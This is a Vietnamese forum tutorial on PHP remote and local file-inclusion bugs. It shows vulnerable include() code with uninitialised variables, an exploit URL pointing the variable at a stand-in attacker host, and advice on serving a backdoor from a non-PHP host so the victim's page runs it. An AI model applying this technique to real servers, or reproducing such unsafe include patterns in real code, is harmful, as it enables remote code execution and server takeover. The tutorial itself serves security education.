	Bài này thực sự có ích cho những lập trình viên sử dụng PHP, thông thường những lập trình viên nếu có chú ý đến bảo mật thì cũng chỉ chủ yếu xử lí SQL Injection mà không biết đến cái gọi là PHP injection.

	

	

	PHP File Include - Phát hiện, khai thác và khắc phục
Đây cũng là 1 lỗi rất phổ biến mà hacker khai thác ở mức web application.

Bài viết này là một bài tổng kết lại quá trình tìm hiểu lỗi PHP File Include. Có thể nó hơi khó hiểu, nhưng mình hi vọng các bạn có thể định nghĩa rõ hơn về lỗi này cũng như tự mình có thể phát hiện lổi trong các sản phẩn PHP. Xin nói thâm là các đánh giá dưới đây là theo góc nhìn của QVT chứ không phải đánh giá của bất kì hệ thống nào.

---------------------------------
Mức độ phổ thông: 5-6
Mức độ nguy hiểm: 7-9
Mục tiêu tấn công: Server
Vị trí kẻ tấn công: Client
---------------------------------

Như ta đã biết hàm include() hay require() trong PHP giúp cho lập trình viên không phải lập đi lập lại một đoạn mã thường sử dụng nào đó và làm cho chương trình trở nên gọn hơn. Nhưng song song với mặt tích cực là mặt tiêu cực, tuy hai hàm này rất tiện lợi nhưng nếu ta dùng nó không cẩn thận thì sẽ rất nguy hiểm.

I- Phát Hiện:

- Lỗi PHP file include phát sinh do sự bất cẩn của người viết chương trình (xin gọi là coder). Thay vì sử dụng một string ‘x’ (chuỗi) làm đường dẫn đến file cần include (hay require) thì coder lại dùng một biến ‘y’ để thay thế cho chuỗi ‘x’ ấy nhằm tránh lập lại một chuỗi ‘x’ nhàm chán (có thể do họ… lười). Nếu biến ấy đã được khai báo thì không có vấn đề gì ngiêm trọng. Ngược lại nếu coder bất cẩn không khai báo biến ‘y’ ấy thì các attacker sẽ lợi dụng ngay điều này. Họ sẽ khai báo biến ‘y’ là đường dẫn đến file của họ (có thể là BackDoor) và thế là hàm include() sẽ thực hiện một cách máy móc: include file có đường dẫn được attacker khai báo… Thật nguy hiểm.

- Theo tớ có hai loại lỗi file include: include remote file và include local file.

- Để hiểu rõ hơn, các bạn hãy xem các ví dụ đơn giản sau:

1/ Include remote file:

a/ Lỗi đơn giản:

---------BEGIN of test.php-------

CODE <?php

$ex=”/home/www/testsite”;
include(“$ex/index.php”);

[…]

?>

----------END of test.php---------

Đoạn code trên không có vấn đề gì cả. Nhưng nếu là đoạn code dưới đây thì sao?

---------BEGIN of test.php-------

CODE <?php

include(“$ex/index.php”);

[…]

?>

----------END of test.php---------

- Bạn nói sao? ừ 100% là trang này đã bị lỗi File include. Chúng ta có thể khai thác bằng cách sữ dụng link sao:
http://www (http://www/).[target].com/test.php?ex=http://www.[attacker].com/
- Link này sẽ include file http://www (http://www/).[attacker].com/index.php. Tại seo lại như vậy? Ta có thể giải thích một cách đơn giản như sau: ta đã khai báo biến $ex là http://www (http://www/).[attacker].com/ lúc bấy giờ trong hàm include() có dạng như sau:
include(“http://www.[attacker].com/index.php”). Bạn hiểu chưa?

- Chúng ta cần chú ý một vấn đề rất quan trọng trong việc khai thác lỗi File Include này. Đó là host chứa file ta muốn include phải KHÔNG HỖ TRỢ PHP. Bạn có biết vì sao lại như vậy không? Vấn đề hết sức đơn giản vì hàm include() và require() chỉ có thể include được giá trị HTML Output của trang mà nó include (nếu include các file ở ngoài host). Do vậy nếu bạn dùng host có hỗ trợ PHP thì cái mà bạn include được chỉ là BackDoor đang chạy trên… host của bạn thôi chứ bạn chưa làm gì được host của victim cả. Trong khi mục đích của ta ở đây là “biến file bị lỗi của victim thành một backdoor”. Vì vậy, host không hổ trợ PHP sẽ đưa code của file này ra HTML output và thế là toàn bộ code đó được file bị lỗi đưa vào source của nó. Thế là nó tự biến mình thành backdoor một cách vô thức.

b/ Lỗi File include thông qua isset(), if()…

Mời bạn xem tiếp code của một số file:

---------BEGIN of test1.php-------

CODE <?php

if (!$file) {$file = "index.php";}
include(“$file”);

[…]

?>

----------END of test1.php---------

Và

---------BEGIN of test2.php-------

CODE <?php

if (!isset( $path )) $path = '/home/';

include(“$path/index.php”);

[…]

?>

----------END of test2.php---------
Bài viết của: Guanyu - Mod HVA 2003
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